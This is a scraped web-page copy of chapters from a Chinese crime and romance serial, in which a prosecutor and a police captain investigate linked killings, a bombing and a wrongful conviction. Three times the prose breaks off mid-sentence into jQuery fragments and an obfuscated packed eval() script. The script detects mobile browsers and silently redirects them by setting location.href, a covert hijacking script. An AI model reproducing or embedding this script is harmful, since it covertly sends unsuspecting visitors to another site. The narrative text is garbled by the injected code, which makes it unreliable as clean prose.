$(''#content'').append('' 一时看得入神,闻言顿时一愣:“……对不起什么?” “对不起,让你跟我一起涉险。” 嘴上在道歉,应泊却始终没抬头,很没有一副道歉该有的样子,更像是……试探。 “你……” 路从辜苦笑一声,摇了摇头: “如果一定要客套的话,还是说谢谢吧。” 大概是没想到他会这么说,应泊抬起眼,定定地凝视了他好一会儿,才终于笑了出来: “好,那就谢谢你,路警官。” 应泊想了想,又补充了一句: “你身手真的很好。” “怎么,第一天认识我吗?”路从辜自然而然地倚在座椅靠背上,“对了,我已经委托温队鉴定DNA了,包括那份精斑,预计三到五天就能出结果。” 似乎是因为话题又回到了案件而有些落寞,应泊先是沉默了片刻,而后才笑笑说:“谢谢,如果没有你帮忙,我真的不知道该怎么办才好。” 空了半晌,他忽然想起了什么,问: “你下午提到的605爆炸案,又是怎么回事?” “还记得那天在平舒大队询问李鹏的时候,他所说的那个将近烂尾的‘阜城’项目吗?605爆炸案正是因为各方争夺这个项目引发的。死者遇害时恰好是招标单位负责这一项目的干部,因为不肯暗箱操作,出行时被炸死在私家车里,尸骨无存。” 路从辜顿了顿,接着说: “据我们调查,凶手一共有两人,一个已经被判处死刑,一个还在逃。下午追尾我们的那个司机,就是凶手的下线之一。我当时讯问过他,但因为证据不足,你们单位最后没有批捕这个人。” 闻言,应泊沉吟许久,说:“我听说,这个案子当时差点按意外处理,是你力排众议,才发现了蛛丝马迹。” “也不能把功劳都算在我一个人头上,除了我,也有很多民警提出异议。凶手反侦查能力非常强,车辆损毁严重,现场几乎没有留下什么有价值的线索。我们在铁皮堆里一连找了好几天,才找到了定时□□。” 他直视着应泊的眼睛,压低声音说: “而现在,605爆炸案的势力又开始阻止我们调查绍青村奸杀案和蒋威犯下的那起抢劫杀人案。我想,不太可能是巧合吧?” 应泊也回望着他:“如果我的猜测没错的话,605爆炸案、抢劫杀人案以及栽赃诬陷马维山的幕后主使,很有可能是同一股势力,对吗?” 路从辜没有出声,算是默认。虽然伤口已经包扎完成,但应泊还是没有放开他的手,他也一直放任自己的手搭在应泊的腿上: “我很好奇这个马维山的身份和过去。看案卷,他入狱前只是一个小学老师,为什么会惹上这么大的麻烦?” “具体的原因,也许只有他自己知道了。我曾经套过他的话,但他一直避而不谈,我也没办法。”应泊叹了一声,“等到结案之后,我会把他约出来单独聊聊,他手上很有可能还有我们没掌握的线索。” 吱嘎一声响,抢救室的门被推开,医生走了出来,二人一同迎了上去: “大夫,人怎么样了?” 13. 纰漏 “目前已经没有生命危险了,但还需要住院观察一段时间。”医生也忙得精疲力尽,“患者意识障碍恢复后,还可能会经过一段时间的假愈期,出现一系列神经精神症状,依然不能掉以轻心。” 二人同时松了一口气——至少暂时保住了一条无辜的人命。 “不用担心,我们会一直留意的,有情况会随时通知你们。” 蒋威的母亲没有其他还在世的亲人,只有一个儿子,眼下这个不省心的儿子也大概率已经死于非命,能依靠的也就只有这群指望着从她那里撬出点线索的司法工作人员了。 “时间不早了,让老人家好好休息休息吧。”目送医生离开,应泊回身道,“我打了车,就快到了。” 走出医院时将近深夜,网约车已经候在了医院门口。两个人并肩坐在车子后排,路从辜向后仰倒,双眼眼皮发沉。 应泊帮他系好袖口的扣子,又把他外套衣角的褶皱都抚平:“困了?” “头有点晕。”路从辜的声音渐渐弱下去,“可能是被煤气熏得……休息一会儿就好了……” 身边人的呼吸渐渐平稳,应泊用目光将那副五官的轮廓都描摹一遍,又转头望向窗外。各色霓虹交映落入眼中,他一团乱麻的心境也随着窗景的变换慢慢平复。 值得庆幸的是,一切都在他的掌控下顺遂推进,如果一定要说有什么是出乎他意料的变量,那也只有重逢后路从辜的态度了。 不告而别十三年,留下的最后一点线索是自己的死讯,如果是记忆里的路从辜,重逢后应该会二话不说先给自己一拳——他不是没这么做过,这样应泊心里的愧疚感也能消弭许多。可他就那样宽宏大量地放过了自己,还义无反顾地陪自己跳进火坑,应泊反倒生出了些不甘和不安来。 毕竟,谁知道他是跟自己一样忘不了过去,还是仅仅出于好意和职责? 或许是职业病的缘故,应泊总是习惯掌控讯问、掌控庭审,掌控所有的局势。在那场“蓄谋已久”的联席会议之前,他设想过很多很多种可能。他不知道自己该不该这么做,也不知道自己的选择会导向怎样的终局,可总有一股难以言喻的恐慌和执念在暗自滋长,梦魇一般萦绕在心头: “你不能再错过了,应泊。” 斑驳的光影漏进车内,他按捺住抚上肩侧那张脸的冲动,心底忽然涌起一股古怪的期盼——然而这一次,事情发展并不如他所愿,车子走走停停,路从辜渐渐睡熟,头却自始至终都没歪倒在他肩上。 “其实你也是在乎的吧?”他想。 你可以恨,可以怨,可以暴跳如雷,可以歇斯底里,但你不能无动于衷,哪怕已经过去了十三年,哪怕我还没想好怎么给你一个交代。 收回来的手无处安放,应泊不自在地摸遍了全身,才想起拿出手机查看消息。夏卓尔发来几张跟张继川和徐蔚然吃饭时拍下的照片,附上消息: “安全到家了,没有人跟踪我。” 算是个小小的圈套,卓尔下午打来的那个电话也是应泊提前安排好的,张继川早就订好了位子守在餐厅里,只等夏卓尔把徐蔚然带过来。 俗话说疑人不用用人不疑,作为已经身居领导层的前辈和师长,联合同僚绞尽脑汁地算计对付一个初出茅庐的新人会不会过于卑鄙,应泊不是没考虑过这个问题。何况目前还并不清楚她的底细,倘若她当真只是一个普普通通的助理,自己的行为几乎等于毁掉了她的职业生涯。 但今天发生的一系列事件又一次拨动他多疑敏感的神经,自己前脚才把她打发走,后脚那伙亡命徒就跟了上来,其中必定有鬼。哪怕他并不信奉宁肯错杀一百不可放过一个,这个节骨眼上,也必须能防就防。 毕竟是一条条人命。 他简单翻看那几张照片,问:“今天玩得开心吗?” “一般般。”卓尔发来一个沮丧的表情,“那小姐姐把川子哥迷得神魂颠倒,俩人压根不理我。我有眼力见,就不打扰他们了。你怎么样?下班了?” “应该还得加一会儿班。你不知道,哥哥今天差点就——” 他在后半句打住,想了想,终究还是把句号后的内容全部删掉,又补充一句: “不吓唬你了,早点休息。” 车子在支队门前停稳,他侧过身,有些遗憾地拍拍身边人的肩膀,轻声呼唤:“从辜?” 路从辜睫毛动了动,却没有睁眼。 “路队?” 路从辜咂吧咂吧嘴,看得出有在努力同困意斗争,可惜前进的道路是曲折的,斗争暂告失败,他还是没睁眼。 “头儿。”应泊突然很想逗他玩玩,坏心眼地凑近他耳边,“该出警了。” “嗯?”路从辜果然睁开眼,猛地坐直,“……又出事了?” 计谋得逞,应泊脸上笑意一下满溢出来,越发藏不住。路从辜迷迷糊糊地看着他,也明白了他是在拿自己寻开心,皱眉“啧”了一声,抬手要搡他,被应泊顺势拉住手腕: “好了好了,不闹了,我们到了。” 他就这样拉着路从辜下了车,在支队门口站定,道: “要是太累的话,今天就早点下班回家吧,我送你。” “没关系,还撑得住。”路从辜不动声色地抽回手,“好歹要问问他们都从交警队查到了什么。” 他抽手的力度不小,近乎于挣脱。应泊稍稍眯起眼睛,情绪一闪而过,又变作了一副笑眼弯弯: “那……也好,我陪你一起。” 虽然已是晚上十点半,支队大楼里还是灯火通明。应泊沉默地跟在路从辜身后回到队长办公室,方彗正坐在办公桌上整理案卷。见二人进来,她忙跳下办公桌,帮忙拉开椅子: “头儿,听说你们两个出事了?” “被埋伏了,路队还受了伤。”应泊掩上门,有些刻意地同路从辜保持社交距离。方彗用探询的眼神看看他,又看看路从辜,一时也摸不清楚这两个又在搞什么名堂,只好问: “受伤了?伤哪儿了?” “小伤,不用担心。”路从辜翻开案卷,按照材料目录查找,半晌蹙眉问: “尸检报告呢?” “没有尸检报告。”方彗摊开两手,“准确说,是没有尸检。” “没有尸检?”应泊和路从辜同时出声。 方彗翻出现场勘查报告,把照片逐一指给二人看:“五年前案发出警的时候,事故车辆起了大火,尸体已经烧得面目全非,无法辨认,能证明死者身份的只有车牌号和车里残存的驾驶证。” “所以……” “所以他们没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057753|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有尸检,也没有找家属确认,再加上车辆信息和驾驶证完全对得上,是蒋威的车,他们就直接结案了。” 所谓的死而复生,原来只是一场粗心的乌龙。路从辜脸色瞬间一冷,带着些恨铁不成钢的无奈,一只手攥成拳头。应泊站得腿酸,索性靠在门上,迟疑道: “现在能够确认,死者显然不是蒋威,也就是说,又多了一个未知的死者。” 路从辜追问:“尸体呢?也火化了?” 方彗看着他那不太和善的脸色,点了点头。 “好,我知道了。”路从辜把案卷折上角,以备后面再查阅。见二人都没再开口,方彗撇撇嘴,向门口挪动脚步: “那……头儿,应检,我先走了?今天打算洗洗头发。” 应泊含笑向她颔首,嘱咐道: “路上注意安全。” 得到准许,方彗像兔子一样窜出办公室。路从辜转而低头收拾办公桌,似乎有意在躲避应泊的视线:“时候不早了,你也回去吧。” 然而,应泊仍然站在原地,不动,也不出言。路从辜稍等了一会儿,大惑不解地望向他,用眼神问:“还有事吗?” 应泊扭扭捏捏地:“我的车被助理开走了,我家离这儿还挺远的。” “那你就……”路从辜脱口而出,却即刻打住。他原本想说“那你就打车走”,话说一半又察觉这样不妥,便揣摩着应泊的心思,试探地问: “我送你?” 应泊讪讪地一笑:“会不会太麻烦你了?” 你要真怕麻烦我,刚才就不会开这个口,路从辜如是想。他到底没说出口,只是摇摇头:“不会,刚好我也要回家。” 如愿以偿坐上了路从辜的车,应泊系好安全带,冷不丁地说: “后面几天,我可能抽不出时间过来了。” 闻言,路从辜倒没有多大反应,淡淡道:“好,你先忙你自己的,我这边还忙得过来。” 不过,这轻描淡写的一句话似乎不是应泊想要的,他迟迟没接上话。路从辜便又识趣地追问一句: “你那边任务很重吗?” 应泊这才就坡下驴,如数家珍地谈起自己的工作:“有一些临时报捕的案子,批捕前需要提审犯罪嫌疑人,基层院也要来汇报办案疑难点。” 路从辜稍稍瞪大眼睛问:“马上要过年了,还有报捕的案子?” “对,主要都是毒/品案件。说起来,我之所以跟林勇超不对付,也是因为他们在前年除夕前的周五下午来报捕,案管系统就在我下班前十分钟把这个案子分给了我。你知道,审查逮捕案件的时限只有七天,在此之前其余案子我都清完了,给我气得够呛,周末加班提审嫌疑人,又特意拖到除夕前一天下了不批捕——这下轮到公安气得够呛了。” 路从辜一面专注开车,一面半开玩笑道:“我要是他,我也恨你。” “你跟他不一样,你可不会故意磨洋工。”应泊笑着继续说,“年前还有一个全市检察系统团拜会,我们得上去唱歌给领导听,这两天需要排练一下。到时候要是唱跑调,那可就光屁股推碾子——转着圈丢人了。” 只是顺口提起的一件小事,路从辜却仿佛被这句话勾起了兴致,话音里都带着好奇的笑意: “你?去唱歌?” 14. 蛇吞象 他的好奇显然让应泊更难为情了:“我也不想唱,但是没办法,每个单位都要出节目,我们单位挑人刚好把我选进去了,还站在合唱队第一排。” 容貌端正,身形挺拔,气质出众,的确很适合做机关单位文宣的门面。路从辜听完挑挑眉,有意打趣他: “活动过程,也会写成宣传文章发在公众号上吧?” 应泊听出他意有所指,腾地一下红了脸,挠挠后脑勺:“会,说不定……电视台还有新闻报道。” “好,那我等着。”路从辜眼底笑意更深,“电视台的录像设备应该会很专业。” 虽然清楚路从辜根本不会取笑自己,应泊还是有些后悔提及这一茬,他定了定神,问:“对了,你之前是在哪篇文章看到了我?我自己怎么从来没见过?” 那天在平舒区医院同路从辜简单聊过后,他回家便把望海检察公众号从自己入职后发布的所有文章都看了一遍,只在文章边角找到一句简要的“我院第三检察部应泊同志获得全市十佳公诉人称号”。 趁着等红灯的间隙,路从辜解锁手机,却没有首先翻找公众号,而是点开了相册。 他居然把我的照片存到了手机里,应泊心下惊呼,不由自主地一阵暗喜。路从辜不慌不忙地调出一张照片,递到他眼前: “你看这张,我记得文章内容是你们陪同领导去博物馆参观,但是仔细看照片,背景里,你在拍你同事的屁股。” “啊?”应泊闻言目瞪口呆,忙拿过手机。他放大画面定睛一看,果然,在参观队伍的末尾,自己正憋着笑扬起一掌,从背后偷袭侯万征的屁股。侯万征似乎早有预感,双手提前护在屁股上,腰部前倾,身体绷紧成一张弓。 照片并不是特别清晰,但已经足够看出两人收敛不住的嬉皮笑脸了。 “这、这怎么也拍下来了,还发了出来……”他结巴着,从脸颊一直红到了脖颈,“没有人审稿吗?” “说不定审稿人也觉得有意思,所以保留下来了,体现你们单位检察干警生龙活虎的精神面貌。”路从辜见他手指蠢蠢欲动,忙把自己的手机抢了回来,唯恐他偷偷删掉照片。应泊悻悻地坐正,试图找补说: “其实我们单位不都是这样,只是二部的企业文化比较……松弛。” 车跟着导航指引,最终停在了一处小区门口,路从辜从车窗望出去,将小区仔细端量一番,尤其注意了安保情况。 “你现在住在这里?”他记下小区名字和位置,又问,“还需要我送你进去吗?” “不用了,我不怕黑。”应泊解开安全带,有意无意地打听,“那你呢,你现在住在哪儿?” “老地方,没搬过。” 应泊了然地点头,含笑邀请说:“谢谢你送我回家,上楼坐会儿吗?家里有新鲜的草莓。” “草莓?”路从辜双眼闪过一丝亮光,又转瞬即逝,变作不情愿的落寞,“还、还是算了吧,我也该早点回家休息了。” 看出他口是心非,应泊刻意顿了一会儿,等他自己回心转意。不料,路从辜的意志力超出他的想象,一番思想斗争后,还是坚决地选择对诱惑说不: “不坐,真的不坐。再见,我要走了。” 路灯的暖光在寒风中氤氲,应泊在原地目送路从辜的车消失在道路尽头,低头愣愣地看着自己那拍过侯万征屁股的右手,半晌,恨铁不成钢地攥成了拳头: “啧,怎么就管不住这手呢?” * 望海检察单位食堂每天早上七点半开饭,应泊往往会在七点三十五准时推门进入。这里供应的是不需要刷卡的自助餐,在五样小菜、六样热菜中挑挑拣拣,夹些馒头包子等主食,还有煎饼馃子嘎巴菜一类的望海特色小吃,再盛一碗米粥或是豆浆,就是一顿相当丰盛的早餐。 不止一个同事对应泊每天都能精神焕发地早早来到单位感到百思不得其解,甚至会误以为他是野心勃勃还根骨清奇的检委会预备役,其实他只是抢时间来吃饭,免得来晚吃剩菜罢了。 前三排是检察长和检委会领导们的位子,当然,有时候也会被初来乍到不懂内情的实习生占去。应泊一般会像公共课占座的大学生一样畏畏缩缩地坐在最后面,原因无他,单纯懒得假笑着同领导们虚与委蛇。 “嘿,琢磨嘛呢?”侯万征端着餐盘坐到他身边,用手肘顶顶他,“……黑眼圈这么重?论文写不出来就不写嘛。” “看不起谁呢,我论文早写完了,都交上去了。”应泊没看他,兀自翻看着朋友圈,给除了广告外的每一条都点了赞,“孩子放假了?” “嗯呢,期末考得不错,非要我和她妈领她吃什么日料,又少又难吃,都是生的,花了我一千多。”侯万征塞了一大口菜,又夹走了应泊盘子里被挑出来的胡萝卜,问: “你上蹿下跳忙活一晚上,怎么样了?” “你别说,还真有收获。”应泊故弄玄虚地一笑。 “查清楚了?” “没有,一个都没查出来。”应泊叹了口气,“又多了个死人。” 侯万征单手扶额:“……要不你别查了。” 应泊搂住他的脖颈,把他揽到怀里,阴恻恻地说:“我昨天晚上差点被煤气罐炸到天上去,要不是市区不准放烟花,没准儿你今天都见不着我了。你不仅不感恩,还在这里说风凉话,老侯,你觉得这样合适吗?” 侯万征面不改色:“确实不合适,我讣告白写了,沉痛缅怀第二检察部应泊同志。” 身侧有人路过,应泊借着个子高,玩闹也似地揉乱侯万征的头发,借机掩饰自己接下来要说的话:“不跟你闹着玩了——对了,你还记得夏处是什么时候借调走的吗?” “你遴选回来之前,前年秋冬?” “我不是说这个时间,我是指……某个节点。”应泊笃定地直视着他,“是检委会大洗牌的时候。师父虽然把她的任务交给了我,但还有很多关键信息没有透露。我知道她是想保护我,但……” 有些话在足够默契的人之间点到为止足矣。应泊不再言语,转而眯眼望向前方。侯万征循着他的目光看去,食堂座位第一排正中的位置,一个孑然的身影坐在那里,啜饮着咖啡。 那是望海检察现任检察长,陶海澄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057754|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 侯万征的脸色骤然严峻,喉结上下动了动,流转的目光泄露了些许犹疑。他僵硬地转过头,意味深长地盯了应泊许久,把碗里的粥一饮而尽: “……出事自己背。” 这副如临大敌的样子不仅没有让应泊有半分退却,反而让他饶有兴致地挑起一个笑。他好整以暇地看侯万征手忙脚乱收拾碗筷,问; “待会儿的研讨会你去还是我去?检委会让二部出一个人。” 侯万征的动作更快了,生怕跑不掉似的:“你去吧,我九点还有个二审的庭要开。我真想不明白,就他妈一年两个月的量刑也要上诉,这不闲得吗?一篇谅解书最多也就减一个月,都不够他们折腾的。” “非法拘禁的那个?” “对,就他。”侯万征嗤笑一声。 “你坐着念念出庭意见就够了,案情很清晰,他们爱折腾就折腾吧,不然律师怎么赚钱?” 眼看着侯万征落荒而逃,应泊抿下一口粥,双眼还死死锁定在第一排的那个身影上。 “你有时候真的很像个疯子。”他对自己说。 所谓的研讨会,就是下级机关将近期办理的有疑难争议的案件汇报上来,由承办人介绍有关证据审查、事实认定以及法律适用等内容,参会人员再就案件实体或程序上的问题轮流发表意见。某种意义上,与研究生的组会或是答辩有异曲同工之妙。徐蔚然也被他拉了过来,不需要发言,只需要“学习观摩”。与一众经验丰富的刑诉老江湖同列,她明显拘束许多。 彼时身处基层时,应泊就极其厌恶这个活动。这倒不是他心高气傲听不进意见,只是那些参会的老检察官挑剔中带着鄙夷的眼神时常会让这个本就惴惴不安的年轻人无地自容。勉强把自己勤勤恳恳做出的成果呈现在众人面前,还要打起精神应对连番的质疑和贬低,每次结束回到单位后他都需要给自己一些时间平复心情。 直到他自己也跻身其中,他才发现——很多人参会前甚至没有了解过案情,会中也没有动脑思考过,只是为了挑刺而挑刺罢了。 这次来的承办人发言声音有点小,应泊又坐得远,须得屏住呼吸全神贯注才能听清对方在说什么,这让他难免烦躁。对面的副检察长不时扯着嗓子清老痰,屡屡打断他的思路,几乎把他仅存的耐心逼到了极限。他不能发作,只好用力捏着笔,指尖都掐成了白色。 案件的基本案情和争议焦点被他草草记录在笔记本上,纸面明明都是熟悉的字眼,他却怎么都没法调动思绪抽丝剥茧分析就中矛盾。稍有懈怠,大脑便不受控制地全盘散漫下来,驱策着他信手写下了一串数字。 是路从辜的警号。 这一串数字能延展出太多画面了,那个人第一次穿警服的样子,在靶场练枪的样子,在派出所被群众刁难的样子,哪一个不比枯燥的实务会议有意思?想到这儿,应泊紧蹙的眉头缓缓舒展开来,嘴角也不知不觉浮起笑意。 就在他的心神全然飘荡出会议室时,长桌面门处倏地传来一声呼唤: “应泊,你之前在基层接触诈骗罪和帮信罪比较多,你有什么看法?” 15. 匿迹 话音落地,应泊猛然回过神,两眼略有茫然地望向面门座位那负责主持会议的政治部主任。他愣怔的空当刚好给了案件承办人喘息的时间,对方忙喝了一大口水,等待新一轮的拷问。 虽然不慎走了神,应泊倒也不慌,重新把笔记本上记录的思路快速浏览一遍,缓缓道: “关于本案的争议焦点,各位的意见都比较统一,即行为人为诈骗分子提供银行卡的行为究竟构成帮信罪还是诈骗罪。尽管两罪在客观方面存在重叠,但主观上‘明知’的程度以及内容却大有不同,这也是我们实务上审查此类案件的难点所在。” 思路终于整理顺畅,他抬头看向承办人:“移送审查起诉后,犯罪嫌疑人否认自己主观上明知这个另案处理的‘阿静’实施诈骗犯罪行为,也否认自己知道所接收款项为诈骗款?” 承办人忙道:“是的,但……” 应泊接上他的话:“但在公安机关侦查过程中,嫌疑人一直稳定供述自己明知,而且帮忙转移犯罪所得时也采取了规避调查的行为方式,完全可以从客观行为佐证嫌疑人主观上‘明知诈骗而为之’,对吗?” 被应泊点破心思,承办人信服地颔首,又补充说:“不过,因为嫌疑人翻供,再加上诈骗罪的量刑要比帮信罪重很多,我们也在考虑要不要用帮信罪来兜底,避免起诉后却拿到无罪判决。” “在缺乏客观证据的情况下,过于依赖嫌疑人或是被告人供述,确实往往会以帮信罪作为兜底罪名。可现在我们不是没有证据,而且举证中需要更侧重强调他的‘主观明知’。技巧性的权衡当然重要,但不能滥用,不能把定罪量刑当成达成指标的一种交易,你觉得呢?” 这番话绵里带针刺中最根本的问题——实务中为了避免风险,控辩审三方时常会在庭下悄悄达成交易。譬如只要嫌疑人认罪认罚,检察官就会给出缓刑的量刑建议,而量刑建议又被法官广泛采纳,庭审完全成了走过场。 此外,更深层的后果是,极有可能导致重罪被从轻发落,对被害人而言无疑是二次伤害。 整个会议室都为之默然。见承办人无言,应泊也留有余地,总结说:“所以我的观点是,按诈骗罪的从犯起诉更合适。” 一场会议两个多小时,应泊坐得腰酸背痛,总算捱到了散会。他把笔插进口袋,夹着笔记本离开会议室,叫住了走在前面的徐蔚然: “蔚然,等一下。” 徐蔚然正抱着自己的本子,低头补着笔记,听到他的声音即刻回头: “怎么了,师父?” 应泊紧走几步迎上去,与她一同进入电梯。借着个子高,他斜睨了一眼她的笔记,问:“刚才的会议有没有觉得很难理解的内容?” “会议上的案子还好,都听得懂。”徐蔚然急匆匆地写完最后几个字,向他扬起一个笑脸。应泊听出话里有话,挑眉问: “那……会议外的呢?” 徐蔚然赧然道:“就是咱们手上那几个毒品案子,我阅卷时总是前面看后面忘,看不了几页脑袋里就成一团浆糊了。” 电梯停在三楼,“叮”地一声打开门。应泊没有直接回答她的问题,而是把她领进了自己的办公室,解锁电脑,调出文件展示给她看: “你看,思维导图,上下游犯罪事实、金额、数量与口供都列举出来,这不就一目了然了吗?” 他滑动着鼠标滚轮,继续解释:“很多时候,办理毒品犯罪需要秉持‘差不多得了’的思路,才能办得通顺,当然死刑案件仍然要慎之又慎。犯罪和侦查过程都过于隐蔽,太高的证明标准只会导致看谁都无罪。” 每一幅思维导图都简洁明晰,还附有应泊自己手画的分析图。徐蔚然倒吸一口气,结结巴巴地说:“那个……我想……” “我会发给你的,你结合着看案卷会容易很多。”应泊点点头,又佯作无意地问,“对了,我妹妹没给你添乱吧?” “啊,没有,卓尔特别乖,我很喜欢她。”徐蔚然忙答。两个人各怀心思,却都心照不宣地对张继川绝口不提,犹豫半晌,徐蔚然还是忐忑不安地问: “师父,你们昨晚任务还顺利吗?” 早料到她沉不住气,应泊勾起一个笑,话音却冷冷的:“有惊无险吧,虽然差点折在那里,但至少抢在最后一刻救下了一条命。” 他刻意突出几个字眼,用余光观察徐蔚然。徐蔚然身子晃了晃,颤声问:“折在那里……什么意思?” “没什么,意外而已。”应泊将她的反应尽收眼底,面上仍然不露声色。他把自己的办案笔记和导图都上传到办公内网,言语间仍然温润如初: “都发到云盘了,希望能帮到你。去吧,有问题随时来问我。” 待徐蔚然走远,应泊关上办公室门,脱下制服外套,疲惫地躺倒在椅子上,拨通了电话: “马老师在吗?” 自从马维山出狱后,他还没来得及亲自上门慰问过,为了避嫌甚至没有主动打过电话。接通后,电话那边首先传来一阵女声,是马维山的女儿: “喂?应检,您稍等,我去把我爸叫来。” 而后是踢踢踏踏的脚步声,几秒后,马维山欣喜的声音响起: “应检,应检,我在呢,总算等来您的电话了。” “出来后过得还习惯吗?有人刁难你吗?”应泊习惯性地寒暄。 “呃,还可以吧,还可以。”马维山干笑两声,听得出些许苍凉,“您……是不是有什么事要找我?您直说就好。” “没什么大事。你那个案子我们已经重新启动侦查了,但时间过去太久,我们也不敢打包票说一定能抓到。”应泊也不再跟他客套,“有一些事情,可能还需要跟你了解或是确认一下,你看什么时候方便?” “我都有时间,您随时通知我,我随叫随到。” 也许是出于一点读书人之间的惺惺相惜,应泊不大愿意在马维山面前流露出太多怜悯的情绪。面对这个在狱中白白浪费壮年岁月,现在已经垂垂老矣的男人,应泊心中更多的是一种无地自容的愧疚。 哪怕他的苦难与自己无关。 挂断电话,应泊从电脑文件夹里找出两篇用乱码命名的判决书,点击浏览,一篇是十七年前马维山案的死缓判决书,另一篇则是二十六年前蒋威抢劫杀人案的判决书。 这两篇判决书他已经通读了无数遍,每次都是慎之又慎地字字句句仔细通读。一般判决书的前三段都是介绍案件参与人与有关机关,参考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057755|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意义不大,应泊的鼠标却偏偏停在了第三段中间的一句话上: “望海市人民检察院指派检察员陶海澄出庭支持公诉,被告人蒋威(马维山)到庭参加诉讼。” 两起案件的公诉人都是同一个人。 应泊从档案中心调取过蒋威案的案卷,许多材料都显示,马维山当时参与了作证,但不论是笔录还是判决书,都找不到马维山的只言片语。 欲盖弥彰。 他瞥了一眼电脑右下角的时间,忽然想起了什么,又点开手机通讯录,这一次打给了路从辜。出乎他意料的是,电话马上就接通了。 “我刚打算给你打电话。蒋威母亲醒了,但意识还不是很清醒,需要插管子辅助呼吸。周围群众表示,杀手是打着检查煤气灶的借口进去的。”他还没开口,路从辜便连珠炮似的急忙道,说完自己也是一怔,“那个……吃午饭了吗?” “还没有,刚开完会。你呢,还在忙?” “算不上忙,正常处理事务。这个时间打电话,是有事吗?” “准备了一点礼物。”应泊笑意盈盈,“记得查收。” 同城送货的电话随后横插进来,告知路从辜物品已经放在了支队北门。出于一些自己也摸不清的情愫,路从辜没有委托将支队饮食担于一身的肖恩顺路帮忙取,而是自己避着所有人,做贼一样地溜到北门,从门卫大爷手中接过了那份礼物。 是个沉甸甸的礼品盒,外面用彩纸包装起来,还裹了一层塑料薄膜。他按捺住当场暴力破拆的冲动,一路抱着回到办公室,小心翼翼地用裁纸刀划破包装纸,掀开盖子,里面装了一大盒红润饱满的草莓。 路从辜不由得失笑。 虽然分享是一种美德,但路从辜暂时并没有学习美德的打算,让一颗都不行。他的目光在草莓和摊开的案卷之间逡巡,实在抵抗不了送到嘴边的诱惑,合上案卷丢到了一边。 引得路从辜重新研究案卷的是一个名叫卢经武的人,正是当时主导侦查蒋威抢劫杀人案的民警。路从辜记得这个人,小时候经常能从父亲口中听到他的名字。此人能力上当然毋庸置疑,就是那副脾气让人头痛,动不动就和领导杠起来,是望海市公安系统里有名的老犟骨。 然而,近些年来,这个老前辈仿佛人间蒸发了一般,不仅在系统内部见不到任何有关于他升迁或是降职的消息,就连随礼、聚会一类的人情往来也从没听过有关于他的半点音讯。如果不是案卷上有他的署名,路从辜几乎快忘记这个人的存在了。 按理来说,既然是与父亲同辈的公安干警,就算要功成身退,也不可能消失得如此之彻底,总会有好事者打听去向。如果是其他人,路从辜可能还不会起疑心,但既然与蒋威的案子扯上了关联,甚至算是漩涡中心的人物,就容不得他不多想了。 毕竟,那伙人连自己和应泊都敢肆无忌惮地杀。 草莓清甜的汁水在口腔中散溢开来,沁入味蕾的每一寸。仿佛算准了时间,应泊恰在此时发来消息: “好吃吗?我买回来之后没好意思尝,看品相感觉不错。” “好吃”两个字刚打出来,又被路从辜删掉。他思索片刻,重新打字: “你自己来尝尝不就知道了?” 16. 罪罚 “对上了?” 法医实验室内像是一锅即将沸腾的水,只差最后一把柴就能蒸腾而起,变得汹涌澎湃。温鸿白面上没什么情绪起伏,只是微微颔首,回答: “对上了。” 路从辜紧紧盯着她,仍旧不放心地追问: “都对上了?” “嗯,都对上了。”温鸿白又一次向他确认,“能够确定,蒋威就是焚尸案的死者,同时也是绍青村强/奸杀人案的凶手。” 欢呼声登时爆发出来,喝彩与笑语此起彼伏。路从辜长长地呼出了一口气,再抬头时,一向波澜不惊的眼中也含着兴奋的光亮: “通知各部门,马上到会议室集合开会。” 待民警们纷纷离开实验室,路从辜带上案卷材料,却没有迈开脚步,而是先拿出手机发了一条消息,收信人是应泊。 虽然上次自己鼓起勇气发出了邀请,但应泊说不来还真就不来,婉拒了邀请。 他不在的这几天,两人虽然一直在保持联系,但内容始终只在“出警了”和“开庭了”之间横跳。路从辜每每想续上话题,却总也抹不开面子,等应泊主动又等不来,着急都不知该往哪里使力气。 “我在期待什么……”他苦笑一声。 近些天来支队里沉闷压抑的氛围终于被这个鸣雷般的好消息打破,民警们涌入会议室时,个个都是精神抖擞——连烟都没带。路从辜把眼下的几个案子都汇总到一起,冰山一般深藏不露的案情中,蒋威无疑是浮在水面上的一个中心锚点。 